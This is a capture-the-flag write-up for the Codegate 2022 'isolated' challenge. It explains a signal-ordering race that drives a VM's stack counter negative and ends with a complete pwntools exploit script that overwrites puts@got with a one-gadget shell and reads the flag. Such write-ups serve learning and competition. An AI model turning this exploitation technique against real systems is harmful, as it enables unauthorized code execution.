Codegate CTF 2022 Preliminary/ isolated

Xiang Mei—xm2146@nyu.edu

February 27, 2022

1 Prologue

I played this CTF with my teamates @r3kapig, we ranked 10th(5330 points). It's a pity that we need 28 pints more to get the tickets to the final. But I really enjoy this CTF. I spent the whole day on this challenge, isolated. Besides, I learned a lot about the linux signal and communication between porcesses.

2 Intro to the challenge

It's a simple challenge. It uses fork to get a child process They use shared memory and signals to communicate with each other.

Parent Process It uses "signal" function to register several signals, including SIGHUG, SIGINT, SIGQUIT, and SIGILL. It replaces the original fucntions with our VM atomic operations, including PUSH, POP, CLEAN STACK, and LOG.

Child Process The son child implements a VM and takes our inputs as code. There is no vulnerability in the VM or the VM-atomic-operations.

In the vm we have two not-blocked-operations and 8 blocked-operations. blocked-operations would block until it gets the result from another process while the not-blocked ones don't care about the results.

PWN Our goal is to escape from the VM and get a shell. The venerability of this VM is that the linux signal is out-of-order and the handle-functions are not the atomic operations.

3 Solution

Init I don't know if my guess is correct or not, because the debugging of multi-process challenge is intricate, I just had a try (atcually tons of tries) and it works!

Background It's out-of-order when the signal is processed and if the signals are processed in the following order we could get a negative stack counter.

My Guess We could split the POP handle function into 2 steps.

1. Check if the stack counter is less than 0
2. Decrese the stack counter

Trigger We can trigger the vulnerability by following steps.

1. Clean Stack to set stack counter to 0
2. Push Signal to set stack counter to 1
3. Signal-POP 1: pop-handle-step1
4. Signal-POP 2: pop-handle-step1
5. Signal-POP 1: step2
6. Signal-POP 2: step2
7. Get a negative stack counter

Get a shell The following exploitation is more straightforward. We could modify the got and use one-gadget to get a shell. I tried printf@got but failed and I succeeded in hijacking put@got.

4 Exploit

```
from pwn import *
def push(val):
    return p8(0)+p32(val)
def pop():
    return b'\x01'
def div(v1,v2):
    return p8(5)+b'f'+p32(v1)+b'f'+p32(v2)
def log(v):
    return p8(10)+p8(0x66)+p32(v)
def eee(idx,val):
    # cmp + je
    return p8(6)+b'U'+b'f'+p32(val)+p8(8)+b'f'+p32(idx)
def eax(idx):
    # cmp + je
    return p8(6)+b'f'+p32(0)+b'U'+p8(8)+b'f'+p32(idx)
def add(v1,v2):
    return p8(2)+b'f'+p32(v1)+b'f'+p32(v2)
def safe_show2():
    return p8(6)+b'U'+b'U'
def hangup(off):
    return p8(7)+p32(off)
#context.log_level='debug'
```

```
#p= process("./isolated")
p=remote("3.38.234.54",7777)
#p=remote("0.0.0.0",7777)
sa = p.sendafter
def loopn(n):
    res = b''
    for x in range(n):
        res+=safe_show2()
    return res
pay  = log(1)+push(0)+log(1)+pop()+pop()+pop()+pop()
pay += b'\x09'+eax(len(log(0)))
pay += loopn(37-9)+p8(6)+b'Uf'+p32(0x132)
pay += p8(2)+b'U'+b'f'+p32(0x8997c)+safe_show2()
pay += log(1)+hangup(len(pay))

sa("opcodes >",pay.ljust(0x300,b'\x0f'))
sleep(1)
p.read()
p.send(b"cat flag*\n")
p.interactive()
```